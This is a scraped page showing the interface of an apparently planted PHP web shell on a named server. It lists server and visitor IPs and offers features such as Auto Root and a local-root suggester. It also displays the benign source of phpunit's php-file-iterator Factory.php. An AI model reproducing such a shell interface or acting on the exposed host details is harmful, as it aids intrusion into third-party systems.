Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 3.144.132.48
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
3 /
phpunit /
php-file-iterator /
src /
Delete
Unzip
Name
Size
Permission
Date
Action
Facade.php
2.49
KB
-rw-r--r--
2018-09-13 09:00
Factory.php
2.23
KB
-rw-r--r--
2018-09-13 09:00
Iterator.php
2.77
KB
-rw-r--r--
2018-09-13 09:00
Save
Rename
<?php /* * This file is part of php-file-iterator. * * (c) Sebastian Bergmann <sebastian@phpunit.de> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\FileIterator; class Factory { /** * @param array|string $paths * @param array|string $suffixes * @param array|string $prefixes * @param array $exclude * * @return \AppendIterator */ public function getFileIterator($paths, $suffixes = '', $prefixes = '', array $exclude = []): \AppendIterator { if (\is_string($paths)) { $paths = [$paths]; } $paths = $this->getPathsAfterResolvingWildcards($paths); $exclude = $this->getPathsAfterResolvingWildcards($exclude); if (\is_string($prefixes)) { if ($prefixes !== '') { $prefixes = [$prefixes]; } else { $prefixes = []; } } if (\is_string($suffixes)) { if ($suffixes !== '') { $suffixes = [$suffixes]; } else { $suffixes = []; } } $iterator = new \AppendIterator; foreach ($paths as $path) { if (\is_dir($path)) { $iterator->append( new Iterator( $path, new \RecursiveIteratorIterator( new \RecursiveDirectoryIterator($path, \RecursiveDirectoryIterator::FOLLOW_SYMLINKS | \RecursiveDirectoryIterator::SKIP_DOTS) ), $suffixes, $prefixes, $exclude ) ); } } return $iterator; } protected function getPathsAfterResolvingWildcards(array $paths): array { $_paths = []; foreach ($paths as $path) { if ($locals = \glob($path, GLOB_ONLYDIR)) { $_paths = \array_merge($_paths, \array_map('\realpath', $locals)); } else { $_paths[] = \realpath($path); } } return \array_filter($_paths); } }